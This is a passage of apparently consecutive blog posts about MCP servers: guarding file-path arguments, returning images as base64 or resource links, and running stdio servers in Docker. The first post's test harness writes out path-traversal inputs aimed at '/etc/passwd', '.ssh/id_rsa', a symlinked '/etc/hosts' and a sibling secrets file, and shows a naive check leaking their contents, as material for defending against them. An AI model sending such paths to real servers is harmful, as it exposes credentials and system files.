prefixCheck(p); let leaked = ""; if (allowed) { try { leaked = ` leaked: ${JSON.stringify(readFileSync(resolve(ROOT, p)).subarray(0, 20).toString().split("\n")[0])}`; } catch {} } console.log( `${p.padEnd(26)} substring=${substringCheck(p) ? "allow " : "REFUSE"} prefix=${allowed ? "allow " : "REFUSE"}${leaked}` ); } ``` ```text screenshot.png substring=allow prefix=allow leaked: "�PNG\r" ../../etc/hosts substring=REFUSE prefix=REFUSE escape.png substring=allow prefix=allow leaked: "##" ../files-secret/creds.txt substring=REFUSE prefix=allow leaked: "SECRET=hunter2" ``` The substring check refuses the obvious traversal and then allows `escape.png`, which is a symlink inside the allowed root pointing at `/etc/hosts`. There is no `..` in that path, so there is nothing for the check to catch. It leaked the file. The prefix check is worse, because it looks correct. It resolves the path first, which handles `..` properly, then compares string prefixes. But the allowed root is `.../files`, and `.../files-secret/creds.txt` starts with `.../files`. The check allowed it and read out `SECRET=hunter2`. It also allows the same symlink, since resolving a path does not follow symlinks. > **Two bugs, one cause** > > Both failures come from comparing paths as strings. A path is a position in a tree, not text. Compare it with `path.relative` and resolve it with `realpath`, and both classes of bug close at once. ### The guard that holds `safe-path.js` above does four things in order, and the order is the point. It refuses absolute paths outright, because `path.resolve(root, "/etc/passwd")` returns `/etc/passwd` and discards the root entirely. It resolves the candidate against the real root and checks containment with `path.relative`, which answers with a leading `..` when the target is outside and cannot be fooled by a sibling name. Then it calls `realpath` on the target and repeats the containment check, which is what catches the symlink. Anything that fails becomes a refusal, not a not-found, so the caller learns the request was rejected rather than that the file is missing. The harness drives all four cases against the running server. Every one is refused: ```text traversal ../../.ssh/id_rsa -> refused: path escapes the allowed root: ../../.ssh/id_rsa absolute /etc/passwd -> refused: absolute paths are refused: /etc/passwd symlink escape.png -> refused: path resolves outside the allowed root: escape.png sibling ../files-secret/ -> refused: path escapes the allowed root: ../files-secret/creds.txt ``` ## Size caps and content types belong here too A path guard stops a caller reading the wrong file. It does nothing about a caller reading a file that is too big, or lying about what the file is. Three more checks close that gap, and the harness exercises each one. - Cap the size before you read. The 40 MB fixture is refused on its `stat` size, so the bytes are never loaded. On the inline route the cap runs against the encoded length, since decoding is what allocates. On the URL route it runs twice: once against `Content-Length`, then again against the body that actually arrived, because a header is a claim. - Sniff the type, do not trust the declaration. A PNG sent with `mimeType: "application/pdf"` is refused, because the leading bytes are checked against the declared type. Without this a tool that accepts PDFs will happily accept anything. - Restrict the URL scheme. `file:///etc/passwd` is a valid URL. A tool that fetches whatever URL it is given is a request forwarder into everything the server can reach, including link-local metadata endpoints. Allow `http` and `https`, refuse the rest, and set `redirect: "error"` so a permitted URL cannot bounce to a forbidden one. ```text 40MB report.pdf -> refused: file is 41943039 bytes, cap is 8388608 png declared as pdf -> refused: declared application/pdf but the bytes are image/png data: URL prefix -> refused: data is bare base64, not a data: URL file:///etc/passwd -> refused: protocol file: is not accepted ``` That fourth line is a small one worth keeping. The `data` field takes bare base64, with no `data:` URL prefix. It is muscle memory from web code and it is wrong here, so the server refuses it with a message that says why instead of decoding garbage. ## Which mode should you use? Pick by deployment first, then by size. - Local stdio server, file already on disk: use a path. It is the cheapest by three orders of magnitude and the filesystem is genuinely shared. Guard it as shown above. - Any remote server, file under about 100 KB: inline base64. It is the only route that works without the server reaching back out to the network, and at that size the context cost is tolerable. - Any remote server, file over about 100 KB: a URL. Past that point inlining spends more context than the task is worth, and the cost of a URL does not change as the file grows. - Files the user has but the model does not need to read, such as a build artifact or a scanned archive: a URL, regardless of size. There is no reason for those bytes to enter a context window at all. If you are writing a server that must work both locally and remotely, register the path tool and the URL tool and let the client choose. They share a `describe` function, so the second tool is a few lines, and a client that cannot use one will use the other. ## Frequently asked questions ### How do I pass a file to an MCP tool? Three ways: send a filesystem path as a string argument, inline the file as bare base64 in the tool arguments, or send a URL the server fetches itself. A path only works when the server and client share a filesystem, which in practice means a local stdio server. Inline base64 and URLs work with any transport. ### Can an MCP tool read a file from my computer? Only if the server runs on your computer. A local stdio server shares your filesystem, so a path argument resolves normally. A remote server does not, so the same path either fails as not-found or resolves to a different file on the server's own disk. ### How much context does inlining a file in an MCP tool call cost? About 1.333 times the file size in characters, plus the surrounding JSON. A 20,308-byte PNG becomes 27,080 base64 characters, roughly 6,786 tokens. Passing a path to the same file costs about 6 tokens and passing a URL costs about 12. ### Is it safe to accept a file path as an MCP tool argument? Not without a guard. The path is written by a model that may have been influenced by untrusted content, so treat it like a path from an HTTP request. Resolve it against one allowed root, check containment with `path.relative`, then call `realpath` and check again to catch symlinks. ### Why does checking for '..' not stop path traversal in an MCP tool? Because a symlink inside the allowed root can point outside it without containing `..` anywhere in the path. In testing, a naive substring check allowed a symlinked path and leaked the target file. Comparing resolved string prefixes fails too, since a sibling directory named `files-secret` starts with the allowed root `files`. ### Should an MCP tool accept a data: URL for file content? No. The `data` field in MCP takes bare base64 with no `data:` prefix. Refuse a prefixed string explicitly so the caller gets a clear error instead of a tool that decodes the prefix as file bytes. Every number in this post came from the harness above, run against the pinned stack on Node 25.8.1. Copy the four files into an empty directory, run the two commands, and you will get the same output. The guard here protects one server. To see what a call really costs, [hook the server up in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and run the tool by hand. You get the full arguments you sent and the full result the model would read, so the intake cost of a tool call is something you can look at rather than estimate. [Download MCPOrbit for macOS](/api/download) --- # How to return an image from an MCP tool URL: https://mcporbit.com/blog/return-an-image-from-an-mcp-tool Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, Images, Tutorial, Resources Return an image from an MCP tool as a base64 image content block, or as a resource_link when the file is large. Runnable code and measured payload sizes. An MCP tool returns an image by putting an `image` content block in its result: `{ type: "image", data: , mimeType: "image/png" }`. The `data` field is bare base64 with no `data:` URL prefix, and `mimeType` is required. For anything bigger than a small chart, return a `resource_link` instead and let the client fetch the bytes only if it wants them. Both paths are part of the Model Context Protocol (MCP) spec, and the choice between them is a context-budget decision, not a style preference. Inline base64 lands in the model's context window every single time the tool runs. A link costs a couple of hundred bytes and defers the pixels to a separate `resources/read` call. This post builds one server that does both, then measures what each one actually costs on the wire. - An image content block needs exactly three fields: `type`, `data`, and `mimeType`. Miss `mimeType` and the SDK rejects the whole tool result. - `data` is bare base64. A `data:image/png;base64,...` prefix is rejected by the v2 SDK at the protocol boundary, so this mistake fails loudly instead of rendering blank. - Base64 costs a flat 1.333x over the raw bytes. That ratio held to three decimal places at every size tested. - A 1600x900 PNG is about 20 KB, which becomes roughly 6,900 tokens of context if you inline it. - Returning a `resource_link` instead cut the same tool result from 4,815 bytes to 228 bytes, about 21x smaller. - A `resource_link` is only useful if the server also registers the resource it points at. An unregistered URI fails at `resources/read`, not at the tool call. ## What does an MCP image content block look like? Every MCP tool result carries a `content` array. Each element is a typed block, and `image` is one of the built-in types alongside `text`, `audio`, `resource`, and `resource_link`. The shape is small: ```json { "content": [ { "type": "image", "data": "iVBORw0KGgoAAAANSUhEUgAA...", "mimeType": "image/png" } ] } ``` Three things about that payload trip people up. `data` is the raw base64 encoding of the file bytes, not a data URL, so it starts with the base64 of the PNG signature (`iVBORw0KGgo`) rather than with `data:image/png`. `mimeType` is required, not optional. And nothing in the protocol checks that the bytes decode to a real image, so a valid-shaped block can still carry garbage. ## Build a server that returns a chart Set up a project. This uses the v2 split-package SDK, pinned to the versions this post was tested on. ```bash mkdir chart-server && cd chart-server npm init -y npm pkg set type=module npm i @modelcontextprotocol/server@2.0.0 @modelcontextprotocol/client@2.0.0 zod@4.4.3 ``` The server needs something to return. Rather than pull in an image library, here is a small PNG encoder built on Node's own `zlib`. It keeps the project at three dependencies and makes the whole thing copy-pasteable. Save it as `png.js`. ```javascript // png.js: a tiny PNG encoder. No dependencies, so the server stays copy-pasteable. import { deflateSync } from "node:zlib"; // CRC-32, the checksum every PNG chunk carries. const CRC_TABLE = Uint32Array.from({ length: 256 }, (_, n) => { let c = n; for (let k = 0; k < 8; k++) c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1; return c >>> 0; }); function crc32(buf) { let c = 0xffffffff; for (const byte of buf) c = CRC_TABLE[(c ^ byte) & 0xff] ^ (c >>> 8); return (c ^ 0xffffffff) >>> 0; } function chunk(type, data) { const len = Buffer.alloc(4); len.writeUInt32BE(data.length); const body = Buffer.concat([Buffer.from(type, "ascii"), data]); const crc = Buffer.alloc(4); crc.writeUInt32BE(crc32(body)); return Buffer.concat([len, body, crc]); } // Encode an RGB pixel buffer (width * height * 3 bytes) as a PNG. export function encodePng(width, height, rgb) { const ihdr = Buffer.alloc(13); ihdr.writeUInt32BE(width, 0); ihdr.writeUInt32BE(height, 4); ihdr[8] = 8; // bit depth ihdr[9] = 2; // color type 2 = truecolor RGB // bytes 10-12 stay 0: deflate, adaptive filtering, no interlace // Each scanline is prefixed with a filter byte. 0 means "no filter". const stride = width * 3; const raw = Buffer.alloc((stride + 1) * height); for (let y = 0; y < height; y++) { raw[y * (stride + 1)] = 0; rgb.copy(raw, y * (stride + 1) + 1, y * stride, (y + 1) * stride); } return Buffer.concat([ Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), chunk("IHDR", ihdr), chunk("IDAT", deflateSync(raw, { level: 9 })), chunk("IEND", Buffer.alloc(0)), ]); } // Draw a bar chart and return it as a PNG buffer. export function barChartPng(values, { width = 640, height = 360 } = {}) { const rgb = Buffer.alloc(width * height * 3, 0xff); // white canvas const put = (x, y, r, g, b) => { if (x < 0 || y < 0 || x >= width || y >= height) return; const i = (y * width + x) * 3; rgb[i] = r; rgb[i + 1] = g; rgb[i + 2] = b; }; const max = Math.max(...values, 1); const pad = 24; const slot = Math.floor((width - pad * 2) / values.length); const barW = Math.max(1, Math.floor(slot * 0.7)); values.forEach((v, i) => { const h = Math.round(((height - pad * 2) * v) / max); const x0 = pad + i * slot; for (let x = x0; x < x0 + barW; x++) { for (let y = height - pad - h; y < height - pad; y++) put(x, y, 0x54, 0x47, 0xc9); } }); // Baseline axis. for (let x = pad; x < width - pad; x++) put(x, height - pad, 0x0e, 0x18, 0x22); return encodePng(width, height, rgb); } ``` Now the server. It registers two tools that render the same chart, one inline and one behind a link, plus the resource the link resolves to. Save it as `server.js`. ```javascript // server.js: an MCP server that returns a chart image two ways. import { McpServer, ResourceTemplate } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import { randomUUID } from "node:crypto"; import { z } from "zod"; import { barChartPng } from "./png.js"; const server = new McpServer({ name: "chart-server", version: "1.0.0" }); // Rendered charts, kept in memory so a resource_link has something to resolve to. const charts = new Map(); // Approach 1: inline. The bytes travel back inside the tool result. server.registerTool( "render_chart", { title: "Render a bar chart", description: "Render a bar chart from a list of numbers and return the PNG inline.", inputSchema: { values: z.array(z.number()).min(1).max(64) }, }, async ({ values }) => { const png = barChartPng(values); return { content: [ { type: "image", data: png.toString("base64"), mimeType: "image/png" }, ], }; } ); // Approach 2: link. The tool result carries a pointer, not the bytes. server.registerTool( "render_chart_link", { title: "Render a bar chart and return a link", description: "Render a bar chart from a list of numbers and return a link to the PNG.", inputSchema: { values: z.array(z.number()).min(1).max(64) }, }, async ({ values }) => { const png = barChartPng(values); const id = randomUUID(); charts.set(id, png); return { content: [ { type: "resource_link", uri: `chart://${id}`, name: `chart-${id}.png`, mimeType: "image/png", }, { type: "text", text: `Bar chart of ${values.length} values, max ${Math.max(...values)}.`, }, ], }; } ); // The resource the link points at. Only read when the client actually wants pixels. server.registerResource( "chart", new ResourceTemplate("chart://{id}", { list: undefined }), { title: "Rendered chart", mimeType: "image/png" }, async (uri, { id }) => { const png = charts.get(id); if (!png) throw new Error(`No chart with id ${id}`); return { contents: [ { uri: uri.href, mimeType: "image/png", blob: png.toString("base64") }, ], }; } ); await server.connect(new StdioServerTransport()); ``` Note the two differences between the paths. The inline tool returns one block. The link tool returns two: the `resource_link` itself, and a short `text` block describing what the chart shows. That text block matters. A model cannot see pixels it has not fetched, so without a description it has no idea whether the link is worth following. > **On resources** > > A `resource_link` is a promise, not a payload. If the server never registers a matching resource, the tool call still succeeds and the failure surfaces later at `resources/read`. Register the resource in the same file as the tool that links to it. ## Prove it works, and measure what it costs A tutorial that says "this returns an image" without checking is worth nothing. Save this as `check.mjs`. It connects a real client over stdio, calls both tools, asserts the bytes really are a PNG, and prints the size of each result. ```javascript // check.mjs: connect a real client over stdio and exercise both tools. import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; import assert from "node:assert/strict"; const VALUES = [12, 45, 23, 67, 34, 89, 51, 40, 72, 18]; const client = new Client({ name: "checker", version: "1.0.0" }); await client.connect( new StdioClientTransport({ command: "node", args: ["server.js"] }) ); const tools = await client.listTools(); console.log("tools:", tools.tools.map((t) => t.name).join(", ")); // --- Approach 1: inline image --- const inline = await client.callTool({ name: "render_chart", arguments: { values: VALUES }, }); const img = inline.content[0]; assert.equal(img.type, "image"); assert.equal(img.mimeType, "image/png"); const bytes = Buffer.from(img.data, "base64"); assert.equal(bytes.subarray(1, 4).toString(), "PNG", "inline data is a real PNG"); const inlineWire = Buffer.byteLength(JSON.stringify(inline), "utf8"); console.log( `inline: png=${bytes.length}B base64=${img.data.length}B wire=${inlineWire}B` ); // --- Approach 2: resource_link --- const linked = await client.callTool({ name: "render_chart_link", arguments: { values: VALUES }, }); const link = linked.content[0]; assert.equal(link.type, "resource_link"); assert.equal(link.mimeType, "image/png"); assert.match(link.uri, /^chart:\/\//); const linkWire = Buffer.byteLength(JSON.stringify(linked), "utf8"); console.log(`link: wire=${linkWire}B uri=${link.uri}`); // The bytes are still reachable, on demand. const read = await client.readResource({ uri: link.uri }); const blob = Buffer.from(read.contents[0].blob, "base64"); assert.equal(blob.subarray(1, 4).toString(), "PNG", "resource blob is a real PNG"); assert.equal(blob.length, bytes.length, "same image either way"); console.log(`resources/read: png=${blob.length}B`); console.log(`\nwire ratio: link is ${(inlineWire / linkWire).toFixed(1)}x smaller`); console.log("ALL CHECKS PASSED"); await client.close(); ``` Run it with `node check.mjs`. On the tested setup it prints: ```text tools: render_chart, render_chart_link inline: png=3089B base64=4120B wire=4183B link: wire=227B uri=chart://b567b2f5-09a4-4e65-b65a-d511dcff7b14 resources/read: png=3089B wire ratio: link is 18.4x smaller ALL CHECKS PASSED ``` The last assertion is the one that matters: `blob.length` equals `bytes.length`. The client gets identical pixels either way. The only thing that changed is when it pays for them. ## How much context does an inline image actually cost? Base64 encodes three bytes as four characters, so the floor is a 1.333x expansion. That is not an estimate. Measured across a 3,169-byte chart, a 3,562-byte chart, and a 20,657-byte one, the ratio came back as 1.334x, 1.334x, and 1.333x. There is no size at which it gets better. Put that against a realistic image. A 1600x900 PNG from this same encoder is 20,657 bytes. Base64 makes it 27,544 characters. At a rough four characters per token, inlining it spends about 6,900 tokens of context on one tool call. Do that three times in a conversation and a fifth of a 100k window is gone before the model has reasoned about anything. The same comparison on the wire, from the size sweep in the tested project: ```text bars=8 png=3169B base64=4228B inflation=1.334x inlineWire=4291B linkWire=226B ratio=19.0x bars=64 png=3562B base64=4752B inflation=1.334x inlineWire=4815B linkWire=228B ratio=21.1x ``` The link result barely moves. It is 226 to 228 bytes whether the chart has 8 bars or 64, because a URI does not grow with the image. That flatness is the real argument for links: the cost of a link is independent of the size of the thing it points at. ## Which should you return, inline or a link? Return the image inline when the model needs to look at it to answer the question, and the image is small. A sparkline, a small chart, a cropped diff, an icon. If the whole point of the tool call is "look at this and tell me what you see," a link just adds a round trip. Return a `resource_link` when any of these is true: - The image is large. Full-page screenshots, high-resolution renders, and anything over roughly 100 KB are expensive to inline and rarely need to be seen in full. - The image is one of many. A tool that returns twelve thumbnails should return twelve links, not twelve base64 blobs. - The image is a by-product. A build artifact, a generated report, or a saved plot that the user may want but the model does not need to read. - The user is the audience, not the model. A link lets a client render or download the file without spending any context at all. When you return a link, always pair it with a `text` block that says what the image contains. The model is choosing whether to spend a `resources/read` call, and it can only make that choice from the description. ## Two mistakes the SDK catches for you The two most common image-block errors both fail loudly on the v2 SDK, which is better than the alternative. Both were tested by writing a deliberately broken server and calling it. ### Wrapping the base64 in a data URL If you have written web code, `data:image/png;base64,...` is muscle memory. It is wrong here. The `data` field takes the bare base64 string. Returning a prefixed one produced a validation failure naming base64 as the problem, raised at the client as an `Invalid tools/call result`. The tool call fails rather than returning an image that quietly refuses to render. ### Leaving out mimeType `mimeType` is required on an image block. Omitting it does not default to PNG. The result fails union validation against the content block types and the client raises `Invalid tools/call result` mentioning `mimeType`. Set it explicitly, and set it correctly: `image/png`, `image/jpeg`, or `image/webp`. > **What is not checked** > > Nothing validates that your base64 decodes to a real image. A block carrying the base64 of the string "not-a-png" has a perfectly valid shape and passes straight through. If a client shows a broken image, check your encoder before you check the protocol. ## Frequently asked questions ## Frequently asked questions ### How do I return an image from an MCP tool? Put an `image` content block in the tool result: `{ type: "image", data: , mimeType: "image/png" }`. The `data` field is the bare base64 encoding of the file bytes, with no `data:` URL prefix, and `mimeType` is required. ### Can an MCP tool return a PNG file path instead of the bytes? Not usefully as a path, because the client may run on a different machine. Return a `resource_link` block with a URI the server can resolve, and register a matching resource so the client can fetch the bytes with `resources/read` when it wants them. ### Does base64 make my MCP image bigger? Yes, by a flat 1.333x. Measured on PNGs from 3 KB to 20 KB, the expansion was 1.333x to 1.334x every time. A 20,657-byte PNG becomes 27,544 base64 characters, roughly 6,900 tokens of context. ### When should I use resource_link instead of an inline image? Use a link when the image is large, when there are many of them, or when the user rather than the model is the audience. In testing, swapping an inline chart for a link cut the tool result from 4,815 bytes to 228 bytes, and the link size stayed flat as the image grew. ### Why is my MCP image content block rejected? The two usual causes are a `data:image/png;base64,` prefix on the `data` field, which fails base64 validation, and a missing `mimeType`, which fails content-block union validation. Both surface at the client as `Invalid tools/call result`. ### Can an MCP tool return audio or PDFs the same way? Yes. There is an `audio` content block with the same `data` and `mimeType` shape. For any other file type, return a `resource_link` or an embedded `resource` block with the bytes in `blob` and the correct `mimeType`. The short version: inline small images the model must look at, link everything else, and always describe the link in a `text` block so the model can decide whether to follow it. MCPOrbit connects to any MCP server and shows the full JSON of every result as you build, including the base64 payload of an image and the fields of a resource_link, so you can see what a client actually gets back before you wire the server into an agent. [Download MCPOrbit for macOS](/api/download) --- # How to run an MCP server in Docker URL: https://mcporbit.com/blog/run-an-mcp-server-in-docker Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Docker, stdio, Containers, Engineering A stdio MCP server in Docker has no port. The client runs docker run -i and talks over the pipes. Here is the Dockerfile and the flags that break it. A Model Context Protocol (MCP) server on stdio does not listen on a port, so putting it in Docker does not mean publishing one. The client runs `docker run -i` itself and talks JSON-RPC over that process's stdin and stdout. That one difference explains most of what goes wrong. If you think of the container as a service you connect to, you reach for `-p`, you write a health check, and none of it helps, because nothing is listening. The client is not a caller here. It is a parent process holding two pipes. - On stdio the client spawns `docker run -i --rm` and speaks over the pipes. There is no port and no URL. - `-i` is what keeps stdin open. Without it the container starts, prints its startup log, and exits 0 in about 0.2 seconds. - The container filesystem is the only filesystem the server can see. Bind-mount anything it needs to read. - Use the exec form `CMD ["node", "server.js"]`. Wrapping the server in `npm start` puts a process between the client and the server. - Containerizing costs roughly 40 ms of startup. Measured here: about 91 ms on the host, about 135 ms through `docker run`. - Switch to HTTP only when you actually want a shared long-lived server. Then, and only then, you publish a port. ## Why a containerized stdio server has no port MCP defines two transports. Over HTTP the server listens and the client sends requests to a URL. Over stdio the client launches the server as a child process and writes JSON-RPC frames to its stdin, reading replies from its stdout. Most desktop MCP clients default to stdio. Containerizing a stdio server does not change that contract. It only changes the command. Instead of `node server.js`, the client runs `docker run -i --rm your-image`. Docker passes the pipes straight through to the process inside. The protocol never notices the container boundary. > **The rule** > > If your MCP server speaks stdio, the container needs no EXPOSE, no -p, and no health check. Adding them does not break anything, but it is a sign the mental model is wrong. ## The server we are going to containerize This server exposes two tools over a docs directory. It is deliberately filesystem-backed, because the filesystem is where the container boundary actually bites. Pinned versions: Node 22.14.0 in the image, `@modelcontextprotocol/server` 2.0.0, `zod` 4.2.1. ```json { "name": "docs-mcp", "version": "1.0.0", "type": "module", "scripts": { "start": "node server.js", "probe": "node probe.js" }, "dependencies": { "@modelcontextprotocol/server": "2.0.0", "zod": "4.2.1" }, "devDependencies": { "@modelcontextprotocol/client": "2.0.0" } } ``` The client SDK is a dev dependency. It is only used by the probe below, and `npm ci --omit=dev` keeps it out of the image. ```javascript // server.js import { readdir, readFile } from "node:fs/promises"; import { hostname } from "node:os"; import { join, resolve } from "node:path"; import { McpServer } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; // stdout carries JSON-RPC frames. Every log line goes to stderr. const log = (...args) => console.error("[docs]", ...args); // The directory the server serves. Inside the container this is /data. const DOCS_DIR = resolve(process.env.DOCS_DIR ?? "/data"); const server = new McpServer({ name: "docs", version: "1.0.0" }); server.registerTool( "list_docs", { title: "List docs", description: "List the files the server can see in its docs directory.", inputSchema: {}, }, async () => { log("list_docs reading", DOCS_DIR); const entries = await readdir(DOCS_DIR, { withFileTypes: true }); const files = entries.filter((e) => e.isFile()).map((e) => e.name).sort(); return { content: [ { type: "text", text: JSON.stringify({ dir: DOCS_DIR, host: hostname(), files }, null, 2), }, ], }; }, ); server.registerTool( "read_doc", { title: "Read doc", description: "Read one file from the docs directory.", inputSchema: { name: z.string().describe("File name inside the docs directory.") }, }, async ({ name }) => { const path = join(DOCS_DIR, name); if (!path.startsWith(DOCS_DIR + "/")) { throw new Error(`refusing to read outside ${DOCS_DIR}`); } log("read_doc reading", path); return { content: [{ type: "text", text: await readFile(path, "utf8") }] }; }, ); log("starting, DOCS_DIR =", DOCS_DIR); await server.connect(new StdioServerTransport()); log("connected over stdio"); ``` Note that every log line goes to `console.error`. On stdio, stdout carries the protocol frames, so it is not available for logging. Inside a container that matters more than usual, because `docker logs` is often the only view you have of the process. ## Write the Dockerfile Nothing here is MCP-specific except the last line and the missing `EXPOSE`. Dependencies are installed before the source is copied so the install layer caches across code edits. ```dockerfile # syntax=docker/dockerfile:1 FROM node:22.14.0-alpine WORKDIR /app # Install dependencies from the lockfile first so this layer caches. COPY package.json package-lock.json ./ RUN npm ci --omit=dev COPY server.js ./ # The directory the server serves. Bind-mount your real docs over it. ENV DOCS_DIR=/data RUN mkdir -p /data # Do not use CMD ["npm", "start"]. npm sits between the client and the # server process and does not forward signals cleanly. CMD ["node", "server.js"] ``` The `.dockerignore` keeps the host `node_modules` out of the build context. Copying a macOS `node_modules` into a Linux image ships native binaries for the wrong platform. ```text node_modules data npm-debug.log ``` Build it. The image comes out at 246 MB, of which 221 MB is the `node:22.14.0-alpine` base. ```bash docker build -t docs-mcp:1.0.0 . ``` ### Use the exec form of CMD `CMD ["node", "server.js"]` makes the server PID 1, so it receives signals directly and owns stdin and stdout with nothing in between. `CMD ["npm", "start"]` puts npm in that position instead. npm does not forward signals cleanly, which turns a clean client shutdown into a container that lingers until Docker kills it. ## Point an MCP client at the container The client config changes in one place: `command` becomes `docker` and the image goes in `args`. This is the shape most desktop clients use, Claude Desktop and Cursor included. ```json { "mcpServers": { "docs": { "command": "docker", "args": [ "run", "-i", "--rm", "-v", "/Users/you/docs:/data:ro", "docs-mcp:1.0.0" ] } } } ``` Use an absolute host path in the `-v` flag. The client does not run in your shell, so a relative path resolves against whatever working directory the client happened to have. Rather than restarting a desktop client to test this, drive it with a real client of your own. This probe spawns exactly the command the config above describes. ```javascript // probe.js // Drives the containerized server the way a real MCP client does: // it spawns `docker run` and talks JSON-RPC over that process's stdio. import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const docsOnHost = process.argv[2] ?? `${process.cwd()}/data`; const transport = new StdioClientTransport({ command: "docker", args: [ "run", "-i", "--rm", "-v", `${docsOnHost}:/data:ro`, "docs-mcp:1.0.0", ], }); const client = new Client({ name: "probe", version: "1.0.0" }); await client.connect(transport); console.log("server:", JSON.stringify(client.getServerVersion())); const { tools } = await client.listTools(); console.log("tools:", tools.map((t) => t.name).join(", ")); const listed = await client.callTool({ name: "list_docs", arguments: {} }); console.log("list_docs ->", listed.content[0].text); const read = await client.callTool({ name: "read_doc", arguments: { name: "runbook.md" }, }); console.log("read_doc ->", JSON.stringify(read.content[0].text)); await client.close(); ``` ```bash node probe.js ~/docs ``` The run below is the real output. `host` is the container ID, which is a useful confirmation that the code answering you is the code in the image and not a stale process on your machine. ```text [docs] starting, DOCS_DIR = /data [docs] connected over stdio server: {"name":"docs","version":"1.0.0"} tools: list_docs, read_doc [docs] list_docs reading /data list_docs -> { "dir": "/data", "host": "2dcab7245023", "files": [ "notes.txt", "runbook.md" ] } [docs] read_doc reading /data/runbook.md read_doc -> "MCPOrbit runbook.\nStep 1: check the daemon.\n" ``` ## Three failures that look like success Each of these produces no error from Docker and no error from the server. All three were reproduced while writing this post. ### Forgetting -i: the container exits 0 Without `-i`, the container's stdin is closed immediately. The server starts, logs a successful startup, reads end-of-file, and shuts down cleanly. Docker reports exit code 0, so nothing anywhere says the word error. ```bash $ docker run --rm -v ~/docs:/data:ro docs-mcp:1.0.0 [docs] starting, DOCS_DIR = /data [docs] connected over stdio $ echo $? 0 ``` The client sees the other half of it. The process it spawned is simply gone before the handshake finishes. ```text SdkError: Connection closed code: 'CONNECTION_CLOSED' ``` > **Read this one carefully** > > A container that logs a healthy startup and exits 0 is the single most misleading state here. If your client reports CONNECTION_CLOSED, check for -i before you touch anything else. ### A mount the VM does not share reads as an empty directory On macOS and Windows, Docker runs inside a virtual machine, and only certain host paths are shared into it. Bind-mounting a path from outside that set does not fail. Docker creates an empty directory at the target instead, so the server starts fine and reports that your docs folder has no files in it. That is what happened on the first run of this post's probe. The mount source was a macOS temporary directory, which Colima does not share, so `list_docs` returned an empty list and `read_doc` returned ENOENT for a file that plainly existed on the host. ```text list_docs -> { "dir": "/data", "host": "06974f494a80", "files": [] } read_doc -> "ENOENT: no such file or directory, open '/data/runbook.md'" ``` Check what the VM actually shares before assuming the path is wrong. With Colima the shared set is visible from inside the VM, and Docker Desktop lists it under file sharing in settings. ```bash colima ssh -- mount | grep virtiofs # lima-8a1a853a1749380e on /Users/edem type virtiofs (rw,relatime) ``` Keeping the mount under your home directory avoids this on every common setup. Mount read-only with `:ro` while you are at it, since a docs server has no reason to write. ### Binding to loopback makes -p useless This one only applies to the HTTP transport, and it is the classic container networking mistake. A server bound to `127.0.0.1` inside a container is bound to the container's own loopback. Publishing the port with `-p 3001:3000` still gets you a refused connection, because the port forward arrives on the container's external interface and nothing is listening there. Bind `0.0.0.0` instead. ## What containerizing actually costs Each `docker run` starts a fresh container, so the cost lands on startup rather than on individual tool calls. Measuring connect plus `tools/list`, five runs each, median reported: about 91 ms running `node server.js` directly, about 135 ms through `docker run` on the same machine. Call it 40 ms, paid once per client session, on an image whose layers are already local. The first run after a build or a pull is much slower, because the image has to be fetched or loaded. That is worth knowing before you conclude that MCP over Docker is slow: you are usually measuring the pull, not the protocol. ## When to use HTTP instead Reach for HTTP when the server should outlive any one client, when several clients share it, or when it runs on another machine. Then the container behaves like an ordinary service and you do publish a port. In `@modelcontextprotocol/server` 2.0.0 the HTTP entry point is `createMcpHandler`. It returns an object of the shape `{ fetch, notify, bus, close }`, not a bare function, which is easy to get wrong if you assume it hands back a fetch handler directly. ```javascript // http-server.js import { createServer } from "node:http"; import { readdir } from "node:fs/promises"; import { hostname } from "node:os"; import { resolve } from "node:path"; import { McpServer, createMcpHandler } from "@modelcontextprotocol/server"; const DOCS_DIR = resolve(process.env.DOCS_DIR ?? "/data"); const PORT = Number(process.env.PORT ?? 3000); // createMcpHandler returns { fetch, notify, bus, close }, not a bare function. const { fetch: mcpFetch } = createMcpHandler(() => { const server = new McpServer({ name: "docs-http", version: "1.0.0" }); server.registerTool( "list_docs", { title: "List docs", description: "List files in the docs directory.", inputSchema: {} }, async () => { const entries = await readdir(DOCS_DIR, { withFileTypes: true }); const files = entries.filter((e) => e.isFile()).map((e) => e.name).sort(); return { content: [ { type: "text", text: JSON.stringify({ dir: DOCS_DIR, host: hostname(), files }) }, ], }; }, ); return server; }); // Bridge node:http onto the Web-standard handler createMcpHandler returns. createServer(async (req, res) => { const chunks = []; for await (const chunk of req) chunks.push(chunk); const body = chunks.length ? Buffer.concat(chunks) : undefined; const response = await mcpFetch( new Request(`http://localhost:${PORT}${req.url}`, { method: req.method, headers: req.headers, body, }), ); res.writeHead(response.status, Object.fromEntries(response.headers)); res.end(Buffer.from(await response.arrayBuffer())); }) // Bind 0.0.0.0, not 127.0.0.1. A server bound to loopback inside a // container is unreachable from the host even with -p. .listen(PORT, "0.0.0.0", () => { console.error(`[docs-http] listening on 0.0.0.0:${PORT}, DOCS_DIR = ${DOCS_DIR}`); }); ``` ```dockerfile # syntax=docker/dockerfile:1 FROM node:22.14.0-alpine WORKDIR /app COPY package.json package-lock.json ./ RUN npm ci --omit=dev COPY http-server.js ./ ENV DOCS_DIR=/data PORT=3000 RUN mkdir -p /data EXPOSE 3000 CMD ["node", "http-server.js"] ``` Build it, run it with a published port, and the server answers over HTTP. Note the `Accept` header: the transport replies as an event stream, so a request that only accepts JSON is rejected. ```bash docker build -f Dockerfile.http -t docs-mcp-http:1.0.0 . docker run -d --name docs-http -p 3000:3000 -v ~/docs:/data:ro docs-mcp-http:1.0.0 curl -s -X POST http://localhost:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -d 